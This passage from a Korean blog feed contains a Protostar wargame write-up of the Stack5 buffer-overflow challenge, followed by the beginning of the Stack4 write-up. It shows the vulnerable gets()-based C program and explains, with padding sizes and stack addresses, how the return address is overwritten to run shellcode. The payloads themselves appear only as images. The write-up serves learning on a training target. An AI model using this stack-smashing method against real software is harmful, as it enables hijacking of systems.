style=&quot;font-size: 14pt;&quot;&gt;11&lt;/span&gt;&lt;/div&gt;&lt;/div&gt;&lt;/td&gt;&lt;td style=&quot;padding:6px 0&quot;&gt;&lt;div style=&quot;margin:0; padding:0; color:#f0f0f0; font-family:Consolas, 'Liberation Mono', Menlo, Courier, monospace !important; line-height:130%&quot;&gt;&lt;div style=&quot;padding:0 6px; white-space:pre; line-height:130%&quot;&gt;&lt;span style=&quot;color: rgb(0, 134, 179); font-size: 14pt;&quot;&gt;#include&lt;/span&gt;&lt;span style=&quot;font-size: 14pt;&quot;&gt;&amp;nbsp;&lt;/span&gt;&lt;span style=&quot;color:#aaffaa&quot;&gt;&lt;/span&gt;&lt;span style=&quot;color: rgb(255, 51, 153); font-size: 14pt;&quot;&gt;&amp;lt;&lt;/span&gt;&lt;span style=&quot;font-size: 14pt;&quot;&gt;stdlib.h&lt;/span&gt;&lt;span style=&quot;color:#aaffaa&quot;&gt;&lt;/span&gt;&lt;span style=&quot;color: rgb(255, 51, 153); font-size: 14pt;&quot;&gt;&amp;gt;&lt;/span&gt;&lt;/div&gt;&lt;div style=&quot;padding:0 6px; white-space:pre; line-height:130%&quot;&gt;&lt;span style=&quot;color: rgb(0, 134, 179); font-size: 14pt;&quot;&gt;#include&lt;/span&gt;&lt;span style=&quot;font-size: 14pt;&quot;&gt;&amp;nbsp;&lt;/span&gt;&lt;span style=&quot;color:#aaffaa&quot;&gt;&lt;/span&gt;&lt;span style=&quot;color: rgb(255, 51, 153); font-size: 14pt;&quot;&gt;&amp;lt;&lt;/span&gt;&lt;span style=&quot;font-size: 14pt;&quot;&gt;unistd.h&lt;/span&gt;&lt;span style=&quot;color:#aaffaa&quot;&gt;&lt;/span&gt;&lt;span style=&quot;color: rgb(255, 51, 153); font-size: 14pt;&quot;&gt;&amp;gt;&lt;/span&gt;&lt;/div&gt;&lt;div style=&quot;padding:0 6px; white-space:pre; line-height:130%&quot;&gt;&lt;span style=&quot;color: rgb(0, 134, 179); font-size: 14pt;&quot;&gt;#include&lt;/span&gt;&lt;span style=&quot;font-size: 14pt;&quot;&gt;&amp;nbsp;&lt;/span&gt;&lt;span style=&quot;color:#aaffaa&quot;&gt;&lt;/span&gt;&lt;span style=&quot;color: rgb(255, 51, 153); font-size: 14pt;&quot;&gt;&amp;lt;&lt;/span&gt;&lt;span style=&quot;font-size: 14pt;&quot;&gt;stdio.h&lt;/span&gt;&lt;span style=&quot;color:#aaffaa&quot;&gt;&lt;/span&gt;&lt;span style=&quot;color: rgb(255, 51, 153); font-size: 14pt;&quot;&gt;&amp;gt;&lt;/span&gt;&lt;/div&gt;&lt;div style=&quot;padding:0 6px; white-space:pre; line-height:130%&quot;&gt;&lt;span style=&quot;color: rgb(0, 134, 179); font-size: 14pt;&quot;&gt;#include&lt;/span&gt;&lt;span style=&quot;font-size: 14pt;&quot;&gt;&amp;nbsp;&lt;/span&gt;&lt;span style=&quot;color:#aaffaa&quot;&gt;&lt;/span&gt;&lt;span style=&quot;color: rgb(255, 51, 153); font-size: 14pt;&quot;&gt;&amp;lt;&lt;/span&gt;&lt;span style=&quot;color: rgb(75, 230, 250); font-size: 14pt;&quot;&gt;string&lt;/span&gt;&lt;span style=&quot;font-size: 14pt;&quot;&gt;.h&lt;/span&gt;&lt;span style=&quot;color:#aaffaa&quot;&gt;&lt;/span&gt;&lt;span style=&quot;color: rgb(255, 51, 153); font-size: 14pt;&quot;&gt;&amp;gt;&lt;/span&gt;&lt;/div&gt;&lt;div style=&quot;padding:0 6px; white-space:pre; line-height:130%&quot;&gt;&lt;span style=&quot;font-size: 14pt;&quot;&gt;&amp;nbsp;&lt;/span&gt;&lt;/div&gt;&lt;div style=&quot;padding:0 6px; white-space:pre; line-height:130%&quot;&gt;&lt;span style=&quot;color: rgb(75, 230, 250); font-size: 14pt;&quot;&gt;int&lt;/span&gt;&lt;span style=&quot;font-size: 14pt;&quot;&gt;&amp;nbsp;main(&lt;/span&gt;&lt;span style=&quot;color: rgb(75, 230, 250); font-size: 14pt;&quot;&gt;int&lt;/span&gt;&lt;span style=&quot;font-size: 14pt;&quot;&gt;&amp;nbsp;argc,&amp;nbsp;&lt;/span&gt;&lt;span style=&quot;color: rgb(75, 230, 250); font-size: 14pt;&quot;&gt;char&lt;/span&gt;&lt;span style=&quot;font-size: 14pt;&quot;&gt;&amp;nbsp;&lt;/span&gt;&lt;span style=&quot;color:#aaffaa&quot;&gt;&lt;/span&gt;&lt;span style=&quot;color: rgb(255, 51, 153); font-size: 14pt;&quot;&gt;*&lt;/span&gt;&lt;span style=&quot;color:#aaffaa&quot;&gt;&lt;/span&gt;&lt;span style=&quot;color: rgb(255, 51, 153); font-size: 14pt;&quot;&gt;*&lt;/span&gt;&lt;span style=&quot;font-size: 14pt;&quot;&gt;argv)&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&lt;/span&gt;&lt;/div&gt;&lt;div style=&quot;padding:0 6px; white-space:pre; line-height:130%&quot;&gt;&lt;span style=&quot;font-size: 14pt;&quot;&gt;{&lt;/span&gt;&lt;/div&gt;&lt;div style=&quot;padding:0 6px; white-space:pre; line-height:130%&quot;&gt;&lt;span style=&quot;font-size: 14pt;&quot;&gt;&amp;nbsp;&amp;nbsp;&lt;/span&gt;&lt;span style=&quot;color: rgb(75, 230, 250); font-size: 14pt;&quot;&gt;char&lt;/span&gt;&lt;span style=&quot;font-size: 14pt;&quot;&gt;&amp;nbsp;buffer[&lt;/span&gt;&lt;span style=&quot;color: rgb(193, 10, 255); font-size: 14pt;&quot;&gt;64&lt;/span&gt;&lt;span style=&quot;font-size: 14pt;&quot;&gt;];&lt;/span&gt;&lt;/div&gt;&lt;div style=&quot;padding:0 6px; white-space:pre; line-height:130%&quot;&gt;&lt;span style=&quot;font-size: 14pt;&quot;&gt;&amp;nbsp;&lt;/span&gt;&lt;/div&gt;&lt;div style=&quot;padding:0 6px; white-space:pre; line-height:130%&quot;&gt;&lt;span style=&quot;font-size: 14pt;&quot;&gt;&amp;nbsp;&amp;nbsp;gets(buffer);&lt;/span&gt;&lt;/div&gt;&lt;div style=&quot;padding:0 6px; white-space:pre; line-height:130%&quot;&gt;&lt;span style=&quot;font-size: 14pt;&quot;&gt;}&lt;/span&gt;&lt;/div&gt;&lt;/div&gt;&lt;div style=&quot;text-align:right; margin-top:-13px; margin-right:5px; font-size:9px; font-style:italic&quot;&gt;&lt;a href=&quot;http://colorscripter.com/info#e&quot; target=&quot;_blank&quot; style=&quot;color:#4f4f4f; text-decoration:none&quot;&gt;&lt;span style=&quot;font-size: 14pt;&quot;&gt;Colored by Color Scripter&lt;/span&gt;&lt;/a&gt;&lt;/div&gt;&lt;/td&gt;&lt;td style=&quot;vertical-align:bottom; padding:0 2px 4px 0&quot;&gt;&lt;a href=&quot;http://colorscripter.com/info#e&quot; target=&quot;_blank&quot; style=&quot;text-decoration:none; color:white&quot;&gt;&lt;span style=&quot;font-size: 14pt; word-break: normal; background-color: rgb(79, 79, 79); color: white; border-radius: 10px; padding: 1px;&quot;&gt;cs&lt;/span&gt;&lt;/a&gt;&lt;/td&gt;&lt;/tr&gt;&lt;/tbody&gt;&lt;/table&gt;&lt;/div&gt;&lt;span style=&quot;font-size: 14pt;&quot;&gt;
&lt;/span&gt;&lt;p&gt;&lt;br /&gt;&lt;/p&gt;&lt;p&gt;&lt;br /&gt;&lt;/p&gt;&lt;p&gt;&lt;span style=&quot;font-size: 14pt;&quot;&gt;char type 64 byte array buffer를 선언한다.&lt;/span&gt;&lt;/p&gt;&lt;p&gt;&lt;span style=&quot;font-size: 14pt;&quot;&gt;gets() 함수를 이용해 user로부터 입력을 받아 buffer에 저장한다.&lt;/span&gt;&lt;/p&gt;&lt;p&gt;&lt;br /&gt;&lt;/p&gt;&lt;p&gt;&lt;span style=&quot;font-size: 14pt;&quot;&gt;stack5.c의 내용은 정말 간단하다. 다만 이번에는 &lt;span style=&quot;background-color: rgb(228, 247, 186);&quot;&gt;shell을 띄우는것을 목적&lt;/span&gt;으로 한다.&lt;/span&gt;&lt;/p&gt;&lt;p&gt;&lt;br /&gt;&lt;/p&gt;&lt;p&gt;&lt;span style=&quot;font-size: 14pt;&quot;&gt;stack5가 어떤 stack 구조를 가지고 있는지 확인하기 위해서, gdb를 통해 분석을 진행해보자.&lt;/span&gt;&lt;/p&gt;&lt;p&gt;&lt;br /&gt;&lt;/p&gt;&lt;p&gt;&lt;br /&gt;&lt;/p&gt;&lt;p style=&quot;text-align: left; clear: none; float: none;&quot;&gt;&lt;span class=&quot;imageblock&quot; style=&quot;display: inline-block; width: 718px;  height: auto; max-width: 100%;&quot;&gt;&lt;img src=&quot;https://t1.daumcdn.net/cfile/tistory/997BB6365C3946D42E&quot; srcset=&quot;https://img1.daumcdn.net/thumb/R1280x0/?scode=mtistory2&amp;fname=https%3A%2F%2Ft1.daumcdn.net%2Fcfile%2Ftistory%2F997BB6365C3946D42E&quot; width=&quot;718&quot; height=&quot;307&quot; filename=&quot;이미지 009.png&quot; filemime=&quot;image/jpeg&quot; style=&quot;&quot;/&gt;&lt;/span&gt;&lt;/p&gt;&lt;p&gt;&lt;br /&gt;&lt;/p&gt;&lt;p&gt;&lt;br /&gt;&lt;/p&gt;&lt;p&gt;&lt;span style=&quot;font-size: 14pt;&quot;&gt;이를 바탕으로 stack 구조를 그려보면 아래와 같이 그려볼 수 있다.&lt;/span&gt;&lt;/p&gt;&lt;p&gt;&lt;br /&gt;&lt;/p&gt;&lt;p style=&quot;text-align: left; clear: none; float: none;&quot;&gt;&lt;span class=&quot;imageblock&quot; style=&quot;display: inline-block; width: 636px;  height: auto; max-width: 100%;&quot;&gt;&lt;img src=&quot;https://t1.daumcdn.net/cfile/tistory/9922D33B5C39474534&quot; srcset=&quot;https://img1.daumcdn.net/thumb/R1280x0/?scode=mtistory2&amp;fname=https%3A%2F%2Ft1.daumcdn.net%2Fcfile%2Ftistory%2F9922D33B5C39474534&quot; width=&quot;636&quot; height=&quot;1001&quot; filename=&quot;이미지 010.png&quot; filemime=&quot;image/jpeg&quot; style=&quot;&quot;/&gt;&lt;/span&gt;&lt;/p&gt;&lt;p&gt;&lt;br /&gt;&lt;/p&gt;&lt;p&gt;&lt;br /&gt;&lt;/p&gt;&lt;p&gt;&lt;br /&gt;&lt;/p&gt;&lt;p&gt;&lt;span style=&quot;font-size: 14pt;&quot;&gt;stack5를 분석한 내용을 바탕으로 shellcode를 띄우기 위한 방법에 대해 공부해보자.&lt;/span&gt;&lt;/p&gt;&lt;p&gt;&lt;br /&gt;&lt;/p&gt;&lt;p&gt;&lt;br /&gt;&lt;/p&gt;&lt;p&gt;&lt;span style=&quot;font-size: 14pt;&quot;&gt;이 문제를 풀기위한 방법은 크게 2&lt;/span&gt;&lt;span style=&quot;font-size: 14pt;&quot;&gt;가지로 정리하겠다.&lt;/span&gt;&lt;/p&gt;&lt;p&gt;&lt;br /&gt;&lt;/p&gt;&lt;p&gt;&lt;span style=&quot;font-size: 14pt;&quot;&gt;1. buffer에 쉘코드 삽입 후 RET overwriting.&lt;/span&gt;&lt;/p&gt;&lt;p&gt;&lt;span style=&quot;font-size: 14pt;&quot;&gt;2. RET 하단(주소가 더 높은쪽)에 쉘코드를 삽입 후 RET overwriting.&lt;/span&gt;&lt;/p&gt;&lt;p&gt;&lt;br /&gt;&lt;/p&gt;&lt;p&gt;&lt;br /&gt;&lt;/p&gt;&lt;p&gt;&lt;span style=&quot;font-size: 14pt;&quot;&gt;&lt;b&gt;&lt;span style=&quot;font-size: 18pt; background-color: rgb(228, 247, 186);&quot;&gt;1. buffer에 쉘코드 삽입 후 RET overwriting.&lt;/span&gt;&lt;/b&gt;&lt;/span&gt;&lt;/p&gt;&lt;p&gt;&lt;br /&gt;&lt;/p&gt;&lt;p&gt;&lt;span style=&quot;font-size: 14pt;&quot;&gt;1번을 이용하기 위해서 우리가 알아야할 정보는 다음과 같다.&lt;/span&gt;&lt;/p&gt;&lt;p&gt;&lt;br /&gt;&lt;/p&gt;&lt;p&gt;&lt;span style=&quot;font-size: 14pt; background-color: rgb(228, 247, 186);&quot;&gt;&lt;b&gt;1) shellcode&lt;/b&gt;&lt;/span&gt;&lt;/p&gt;&lt;p&gt;&lt;span style=&quot;font-size: 14pt; background-color: rgb(228, 247, 186);&quot;&gt;&lt;b&gt;2) buffer부터 RET까지의 거리&lt;/b&gt;&lt;/span&gt;&lt;/p&gt;&lt;p&gt;&lt;span style=&quot;font-size: 14pt; background-color: rgb(228, 247, 186);&quot;&gt;&lt;b&gt;3) buffer의 주소&lt;/b&gt;&lt;/span&gt;&lt;/p&gt;&lt;p&gt;&lt;br /&gt;&lt;/p&gt;&lt;p&gt;&lt;br /&gt;&lt;/p&gt;&lt;p&gt;&lt;span style=&quot;font-size: 14pt;&quot;&gt;1)은 구글링을 통해 27 byte shellcode를 얻었고,&lt;/span&gt;&lt;br /&gt;&lt;span style=&quot;font-size: 14pt;&quot;&gt;2)은 stack 구조 분석을 통해 72 byte의 패딩을 이용해 RET에 접근할 수 있다는것을 안다.&lt;/span&gt;&lt;/p&gt;&lt;p&gt;&lt;span style=&quot;font-size: 14pt;&quot;&gt;3)을 알기 위해 gdb를 통해 buffer의 주소를 찾아보자.&lt;/span&gt;&lt;/p&gt;&lt;p&gt;&lt;br /&gt;&lt;/p&gt;&lt;p&gt;&lt;br /&gt;&lt;/p&gt;&lt;p style=&quot;text-align: left; clear: none; float: none;&quot;&gt;&lt;span class=&quot;imageblock&quot; style=&quot;display: inline-block; width: 860px;  height: auto; max-width: 100%;&quot;&gt;&lt;img src=&quot;https://t1.daumcdn.net/cfile/tistory/997324375C39495B32&quot; srcset=&quot;https://img1.daumcdn.net/thumb/R1280x0/?scode=mtistory2&amp;fname=https%3A%2F%2Ft1.daumcdn.net%2Fcfile%2Ftistory%2F997324375C39495B32&quot; width=&quot;860&quot; height=&quot;731&quot; filename=&quot;이미지 011.png&quot; filemime=&quot;image/jpeg&quot; style=&quot;&quot;/&gt;&lt;/span&gt;&lt;/p&gt;&lt;p&gt;&lt;br /&gt;&lt;/p&gt;&lt;p&gt;&lt;br /&gt;&lt;/p&gt;&lt;p&gt;&lt;span style=&quot;font-size: 14pt;&quot;&gt;3) buffer의 주소가 아마 0x7fffffffe160이라는것을 알 수 있다.&lt;/span&gt;&lt;/p&gt;&lt;p&gt;&lt;span style=&quot;font-size: 14pt;&quot;&gt;&amp;nbsp;&lt;/span&gt;&lt;/p&gt;&lt;p&gt;&lt;br /&gt;&lt;/p&gt;&lt;p&gt;&lt;span style=&quot;font-size: 14pt;&quot;&gt;실제로 0x7fffffffe160를 RET에 overwriting하면 성공해야하지만, &lt;span style=&quot;background-color: rgb(228, 247, 186);&quot;&gt;Segmentation fault (core dumped)&lt;/span&gt;가 뜨는것을 확인할 수 있다.&lt;/span&gt;&lt;/p&gt;&lt;p&gt;&lt;span style=&quot;font-size: 14pt;&quot;&gt;gdb를 통해 분석한 buffer의 주소가 실제 buffer의 주소와 다를 수 있기 때문에 &lt;span style=&quot;background-color: rgb(228, 247, 186);&quot;&gt;core dumped 된 파일을 분석&lt;/span&gt;했다.&lt;/span&gt;&lt;/p&gt;&lt;p&gt;&lt;br /&gt;&lt;/p&gt;&lt;p&gt;&lt;br /&gt;&lt;/p&gt;&lt;p style=&quot;text-align: left; clear: none; float: none;&quot;&gt;&lt;span class=&quot;imageblock&quot; style=&quot;display: inline-block; width: 1000px;  height: auto; max-width: 100%;&quot;&gt;&lt;img src=&quot;https://t1.daumcdn.net/cfile/tistory/994C74405C39CE6B36&quot; srcset=&quot;https://img1.daumcdn.net/thumb/R1280x0/?scode=mtistory2&amp;fname=https%3A%2F%2Ft1.daumcdn.net%2Fcfile%2Ftistory%2F994C74405C39CE6B36&quot; width=&quot;1000&quot; height=&quot;673&quot; filename=&quot;이미지 013.png&quot; filemime=&quot;image/jpeg&quot; style=&quot;&quot;/&gt;&lt;/span&gt;&lt;/p&gt;&lt;p&gt;&lt;br /&gt;&lt;/p&gt;&lt;p&gt;&lt;br /&gt;&lt;/p&gt;&lt;p&gt;&lt;span style=&quot;font-size: 14pt;&quot;&gt;buffer의 시작주소가 0x7fffffffe1c0로 바뀐것을 확인할 수 있다.&lt;/span&gt;&lt;/p&gt;&lt;p&gt;&lt;span style=&quot;font-size: 14pt;&quot;&gt;RET를&amp;nbsp; 0x7fffffffe1c0로 overwriting하면 아래와 같이 shell을 획득할 수 있다.&lt;/span&gt;&lt;/p&gt;&lt;p&gt;&lt;br /&gt;&lt;/p&gt;&lt;p&gt;&lt;br /&gt;&lt;/p&gt;&lt;p style=&quot;text-align: left; clear: none; float: none;&quot;&gt;&lt;span class=&quot;imageblock&quot; style=&quot;display: inline-block; width: 1000px;  height: auto; max-width: 100%;&quot;&gt;&lt;img src=&quot;https://t1.daumcdn.net/cfile/tistory/99783F395C39CECD24&quot; srcset=&quot;https://img1.daumcdn.net/thumb/R1280x0/?scode=mtistory2&amp;fname=https%3A%2F%2Ft1.daumcdn.net%2Fcfile%2Ftistory%2F99783F395C39CECD24&quot; width=&quot;1000&quot; height=&quot;115&quot; filename=&quot;이미지 014.png&quot; filemime=&quot;image/jpeg&quot; style=&quot;&quot;/&gt;&lt;/span&gt;&lt;/p&gt;&lt;p&gt;&lt;br /&gt;&lt;/p&gt;&lt;p&gt;&lt;br /&gt;&lt;/p&gt;&lt;p&gt;&lt;br /&gt;&lt;/p&gt;&lt;p&gt;&lt;span style=&quot;font-size: 14pt;&quot;&gt;&lt;b&gt;&lt;span style=&quot;background-color: rgb(228, 247, 186); font-size: 18pt;&quot;&gt;2. RET 하단(주소가 더 높은쪽)에 쉘코드를 삽입 후 RET overwriting.&lt;/span&gt;&lt;/b&gt;&lt;/span&gt;&lt;/p&gt;&lt;p&gt;&lt;br /&gt;&lt;/p&gt;&lt;p&gt;&lt;br /&gt;&lt;/p&gt;&lt;p&gt;&lt;span style=&quot;font-size: 14pt;&quot;&gt;2번을 이용하기 위해서 우리가 알아야할 정보는 다음과 같다.&lt;/span&gt;&lt;/p&gt;&lt;p&gt;&lt;br /&gt;&lt;/p&gt;&lt;p&gt;&lt;span style=&quot;font-size: 14pt; background-color: rgb(228, 247, 186);&quot;&gt;&lt;b&gt;1) shellcode&lt;/b&gt;&lt;/span&gt;&lt;/p&gt;&lt;p&gt;&lt;span style=&quot;font-size: 14pt; background-color: rgb(228, 247, 186);&quot;&gt;&lt;b&gt;2) buffer부터 RET까지의 거리&lt;/b&gt;&lt;/span&gt;&lt;/p&gt;&lt;p&gt;&lt;span style=&quot;font-size: 14pt; background-color: rgb(228, 247, 186);&quot;&gt;&lt;b&gt;3) RET 하단(주소가 높은 부분)의 주소(shellcode가 시작되는 주소)&lt;/b&gt;&lt;/span&gt;&lt;/p&gt;&lt;p&gt;&lt;br /&gt;&lt;/p&gt;&lt;p&gt;&lt;span style=&quot;font-size: 14pt;&quot;&gt;1) shellcode는 27 byte이고 ,2)는 1번을 통해 72 byte라는 것을 알았고,&lt;/span&gt;&lt;/p&gt;&lt;p&gt;&lt;span style=&quot;font-size: 14pt;&quot;&gt;3) shellcode가 시작되는 주소는 RET의 바로 아래 부분으로 맞출 것이다.&amp;nbsp;&lt;/span&gt;&lt;/p&gt;&lt;p&gt;&lt;br /&gt;&lt;/p&gt;&lt;p&gt;&lt;br /&gt;&lt;/p&gt;&lt;p style=&quot;text-align: left; clear: none; float: none;&quot;&gt;&lt;span class=&quot;imageblock&quot; style=&quot;display: inline-block; width: 933px;  height: auto; max-width: 100%;&quot;&gt;&lt;img src=&quot;https://t1.daumcdn.net/cfile/tistory/9963E24F5C39D43A33&quot; srcset=&quot;https://img1.daumcdn.net/thumb/R1280x0/?scode=mtistory2&amp;fname=https%3A%2F%2Ft1.daumcdn.net%2Fcfile%2Ftistory%2F9963E24F5C39D43A33&quot; width=&quot;933&quot; height=&quot;308&quot; filename=&quot;이미지 015.png&quot; filemime=&quot;image/jpeg&quot; style=&quot;&quot;/&gt;&lt;/span&gt;&lt;/p&gt;&lt;p&gt;&lt;br /&gt;&lt;/p&gt;&lt;p&gt;&lt;br /&gt;&lt;/p&gt;&lt;p&gt;&lt;span style=&quot;font-size: 14pt;&quot;&gt;shellcode의 시작 주소는 0x7fffffffe1b0가 될 것이다.&lt;/span&gt;&lt;/p&gt;&lt;p&gt;&lt;br /&gt;&lt;/p&gt;&lt;p&gt;&lt;span style=&quot;font-size: 14pt;&quot;&gt;이를 바탕으로 payload를 작성하면 다음과 같다.&lt;/span&gt;&lt;/p&gt;&lt;p&gt;&lt;br /&gt;&lt;/p&gt;&lt;p&gt;&lt;br /&gt;&lt;/p&gt;&lt;p style=&quot;text-align: left; clear: none; float: none;&quot;&gt;&lt;span class=&quot;imageblock&quot; style=&quot;display: inline-block; width: 1000px;  height: auto; max-width: 100%;&quot;&gt;&lt;img src=&quot;https://t1.daumcdn.net/cfile/tistory/99D1334E5C39D54D35&quot; srcset=&quot;https://img1.daumcdn.net/thumb/R1280x0/?scode=mtistory2&amp;fname=https%3A%2F%2Ft1.daumcdn.net%2Fcfile%2Ftistory%2F99D1334E5C39D54D35&quot; width=&quot;1000&quot; height=&quot;683&quot; filename=&quot;이미지 016.png&quot; filemime=&quot;image/jpeg&quot; style=&quot;&quot;/&gt;&lt;/span&gt;&lt;/p&gt;&lt;p&gt;&lt;br /&gt;&lt;/p&gt;&lt;p&gt;&lt;br /&gt;&lt;/p&gt;&lt;p&gt;&lt;span style=&quot;font-size: 14pt;&quot;&gt;하지만 &lt;span style=&quot;background-color: rgb(228, 247, 186);&quot;&gt;Segmentation fault (core dumped)&lt;/span&gt;가 뜨는것을 확인할 수 있다.&lt;/span&gt;&lt;/p&gt;&lt;p&gt;&lt;span style=&quot;font-size: 14pt;&quot;&gt;&lt;span style=&quot;background-color: rgb(228, 247, 186);&quot;&gt;core를 분석&lt;/span&gt;하면 shellcode의 시작주소가, 0x7fffffffe210으로 변경된것을 확인할 수 있다.&lt;/span&gt;&lt;/p&gt;&lt;p&gt;&lt;span style=&quot;font-size: 14pt;&quot;&gt;이를 바탕으로 payload를 재작성하면 아래와 같은 결과를 얻을 수 있다.&lt;/span&gt;&lt;/p&gt;&lt;p&gt;&lt;br /&gt;&lt;/p&gt;&lt;p&gt;&lt;br /&gt;&lt;/p&gt;&lt;p style=&quot;text-align: left; clear: none; float: none;&quot;&gt;&lt;span class=&quot;imageblock&quot; style=&quot;display: inline-block; width: 1000px;  height: auto; max-width: 100%;&quot;&gt;&lt;img src=&quot;https://t1.daumcdn.net/cfile/tistory/99FD8F415C39D5B228&quot; srcset=&quot;https://img1.daumcdn.net/thumb/R1280x0/?scode=mtistory2&amp;fname=https%3A%2F%2Ft1.daumcdn.net%2Fcfile%2Ftistory%2F99FD8F415C39D5B228&quot; width=&quot;1000&quot; height=&quot;117&quot; filename=&quot;이미지 017.png&quot; filemime=&quot;image/jpeg&quot; style=&quot;&quot;/&gt;&lt;/span&gt;&lt;/p&gt;&lt;p&gt;&lt;br /&gt;&lt;/p&gt;&lt;p&gt;&lt;br /&gt;&lt;/p&gt;&lt;p&gt;&lt;br /&gt;&lt;/p&gt;&lt;p&gt;&lt;br /&gt;&lt;/p&gt;&lt;p&gt;&lt;br /&gt;&lt;/p&gt;&lt;p&gt;&lt;br /&gt;&lt;/p&gt;&lt;p&gt;&lt;br /&gt;&lt;/p&gt;</description>
      <category>Wargame/Protostar</category>
      <author>MarcoKhan</author>
      <guid isPermaLink="true">https://marcokhan.tistory.com/241</guid>
      <comments>https://marcokhan.tistory.com/241#entry241comment</comments>
      <pubDate>Sat, 12 Jan 2019 22:12:40 +0900</pubDate>
    </item>
    <item>
      <title>[Protostar] Stack4 풀이, write-up</title>
      <link>https://marcokhan.tistory.com/240</link>
      <description>&lt;p&gt;&lt;span style=&quot;font-size: 14pt;&quot;&gt;&lt;b&gt;&lt;span style=&quot;font-size: 36pt;&quot;&gt;Protostar --- Stack4&lt;/span&gt;&lt;/b&gt;&lt;/span&gt;&lt;/p&gt;&lt;p&gt;&lt;br /&gt;&lt;/p&gt;&lt;p&gt;&lt;br /&gt;&lt;/p&gt;&lt;p&gt;&lt;span style=&quot;font-size: 14pt;&quot;&gt;&lt;span style=&quot;background-color: rgb(228, 247, 186);&quot;&gt;Stack4&lt;/span&gt;의 내용이다.&lt;/span&gt;&lt;/p&gt;&lt;p&gt;&lt;br /&gt;&lt;/p&gt;&lt;p&gt;&lt;span style=&quot;font-size: 14pt;&quot;&gt;Stack4 takes a look at overwriting saved EIP and standard buffer overflows.&lt;/span&gt;&lt;/p&gt;&lt;p&gt;&lt;br /&gt;&lt;/p&gt;&lt;p&gt;&lt;span style=&quot;font-size: 14pt;&quot;&gt;Stack4의 내용을 해석해보면 다음과 같다.&lt;/span&gt;&lt;/p&gt;&lt;p&gt;&lt;br /&gt;&lt;/p&gt;&lt;p&gt;&lt;span style=&quot;font-size: 14pt;&quot;&gt;Stack4는&lt;span style=&quot;background-color: rgb(228, 247, 186);&quot;&gt; saved EIP를 overwrting&lt;/span&gt;하는것, 일반적인 buffer overflow에&amp;nbsp;주목하면 된다.&lt;/span&gt;&lt;/p&gt;&lt;p&gt;&lt;br /&gt;&lt;/p&gt;&lt;p&gt;&lt;br /&gt;&lt;/p&gt;&lt;p&gt;&lt;span style=&quot;font-size: 14pt;&quot;&gt;&lt;span style=&quot;background-color: rgb(228, 247, 186);&quot;&gt;Stack4의 Hints&lt;/span&gt;이다.&lt;/span&gt;&lt;/p&gt;&lt;p&gt;&lt;br /&gt;&lt;/p&gt;&lt;p&gt;&lt;span style=&quot;font-size: 14pt;&quot;&gt;A variety of introductory papers into buffer overflows may help.&lt;/span&gt;&lt;/p&gt;&lt;p&gt;&lt;span style=&quot;font-size: 14pt;&quot;&gt;gdb lets you do &quot;run &amp;lt; input&quot;&lt;/span&gt;&lt;/p&gt;&lt;p&gt;&lt;span style=&quot;font-size: 14pt;&quot;&gt;EIP is not directly after the end of buffer, compiler padding can also increase the size.&lt;/span&gt;&lt;/p&gt;&lt;p&gt;&lt;br /&gt;&lt;/p&gt;&lt;p&gt;&lt;span style=&quot;font-size: 14pt;&quot;&gt;Stack4의 Hints를 해석해보면 다음과 닽다.&lt;/span&gt;&lt;/p&gt;&lt;p&gt;&lt;br /&gt;&lt;/p&gt;&lt;p&gt;&lt;span style=&quot;font-size: 14pt;&quot;&gt;다양한 입문자들을 위한 buffer overflow 서적(논문)은 도움이 될 것이다.&lt;/span&gt;&lt;/p&gt;&lt;p&gt;&lt;span style=&quot;font-size: 14pt;&quot;&gt;&lt;span style=&quot;background-color: rgb(228, 247, 186);&quot;&gt;gdb는 &quot;run &amp;lt; [input file name]&quot;을 통해 input&lt;/span&gt; 값을 넣을 수 있다.&lt;/span&gt;&lt;/p&gt;&lt;p&gt;&lt;span style=&quot;font-size: 14pt;&quot;&gt;EIP는 buffer의 바로 끝에 붙어있지 않다.&lt;span style=&quot;background-color: rgb(228, 247, 186);&quot;&gt; compiler padding&lt;/span&gt;은 공격해야할 크기를 증가시킬 수 있다.&lt;/span&gt;&lt;/p&gt;&lt;p&gt;&lt;br /&gt;&lt;/p&gt;&lt;p&gt;&lt;br /&gt;&lt;/p&gt;&lt;p&gt;&lt;span style=&quot;font-size: 14pt;&quot;&gt;stack4.c의 소스코드를 보자.&lt;/span&gt;&lt;/p&gt;&lt;p&gt;&lt;br /&gt;&lt;/p&gt;&lt;p&gt;&lt;br /&gt;&lt;/p&gt;&lt;span style=&quot;font-size: 14pt;&quot;&gt;
&lt;/span&gt;&lt;div class=&quot;colorscripter-code&quot; style=&quot;color:#f0f0f0; font-family:Consolas, 'Liberation Mono', Menlo, Courier, monospace !important; position:relative !important; overflow:auto&quot;&gt;&lt;table class=&quot;colorscripter-code-table&quot; style=&quot;margin:0; padding:0; border:none; background-color:#272727; border-radius:4px;&quot; cellspacing=&quot;0&quot; cellpadding=&quot;0&quot;&gt;&lt;tbody&gt;&lt;tr&gt;&lt;td style=&quot;padding:6px; border-right:2px solid #4f4f4f&quot;&gt;&lt;div style=&quot;margin:0; padding:0; word-break:normal; text-align:right; color:#aaa; font-family:Consolas, 'Liberation Mono', Menlo, Courier, monospace !important; line-height:130%&quot;&gt;&lt;div style=&quot;line-height:130%&quot;&gt;&lt;span style=&quot;font-size: 14pt;&quot;&gt;1&lt;/span&gt;&lt;/div&gt;&lt;div style=&quot;line-height:130%&quot;&gt;&lt;span style=&quot;font-size: 14pt;&quot;&gt;2&lt;/span&gt;&lt;/div&gt;&lt;div style=&quot;line-height:130%&quot;&gt;&lt;span style=&quot;font-size: 14pt;&quot;&gt;3&lt;/span&gt;&lt;/div&gt;&lt;div style=&quot;line-height:130%&quot;&gt;&lt;span style=&quot;font-size: 